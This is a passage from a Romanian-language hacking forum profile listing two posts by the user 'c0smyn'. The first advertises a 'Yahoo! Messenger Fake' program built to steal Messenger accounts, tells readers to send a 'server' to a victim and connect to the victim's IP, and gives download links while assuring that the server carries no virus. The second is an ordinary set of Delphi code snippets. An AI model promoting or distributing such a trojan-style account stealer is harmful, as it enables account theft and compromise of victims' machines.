Jump to content

c0smyn

Active Members
  • Posts

    311
  • Joined

  • Last visited

  • Days Won

    4

Posts posted by c0smyn

  1. Nume: Yahoo! Messenger Fake

    Versiune: 3.2

    Autor: c0smyn

    Descriere

    Un program identic cu Yahoo! Messenger 8.1 , se pot fura conturi foarte usor .

    Tot ce trebuie sa faceti este sa trimiteti un server la victima si sa va conectati pe ip-ul acesteia (ipul trebuie sa fie real)

    Client:

    pozaclientrn1.png

    Launcher:

    pozalauncherer0.png

    Server:

    pozaserverxr6.png

    DOWNLOAD:

    Rapidshare

    MediaFire

    2Shared

    Daca intampinati buguri va rog sa postati mai jos.

    Programul a fost testat si functioneaza perfect.

    EDIT:

    Serverul nu are nici un virus

    Am modificat un bug , reupdatat linkurile => download again

  2. Inchidere aplicatie

    application.mainform.close; 
    sau
    application.terminate;

    Minimize/Maximize/Restore

    application.minimize; [color=green]//minimize[/color]
    ShowWindow(application.MainForm.Handle, SW_MAXIMIZE) ; [color=green]//maximize[/color]
    ShowWindow(application.MainForm.Handle, SW_RESTORE); [color=green]//restore[/color]

    Mesaje

    ShowMessage('Test' ); [color=green]//mesaj normal[/color]
    raise exception.create('Test' ); [color=green]//mesaj eroare[/color]
    MessageDlg('Test', mtinformation, [mbOk], 0); [color=green]//mesaj informatie[/color]
    [color=green][u]//mai sunt si altele dar acestea sunt cele mai folositoare[/color][/u]

    Cum incarcam/salvam un text intr-un memo

    memo1.lines.loadfromfile('C:\windows\test.txt' ); [color=green]//pt a incarca[/color]
    memo1.lines.savetofile('C:\windows\test.txt' ); [color=green]//pt a salva[/color]

    Cum incarcam/salvam o imagine intr-un TImage

    image1.picture.loadfromfile('C:\windows\test.bmp' ); [color=green]//pt a incarca[/color]
    image1.picture.savetofile('C:\windows\test.bmp' ); [color=green]//pt a salva[/color]

    Cum ne conectam cu un tcpclient pe un tcpserver

    tcpclient1.remotehost := 'Adresa IP';
    tcpclient1.remoteport := 'Port';
    tcpclient1.connect; [color=green]//Conectare ...[/color]

    Cum declaram o variabila

    var NUME_VARIABILA: tip(string , integer , boolean , single , double etc..);
    [b]EXEMPLU[/b]
    var a: boolean;
    begin
    a := false;
    if a = true then
    showmessage('True')
    else
    showmessage('False');
    end;

×
×
  • Create New...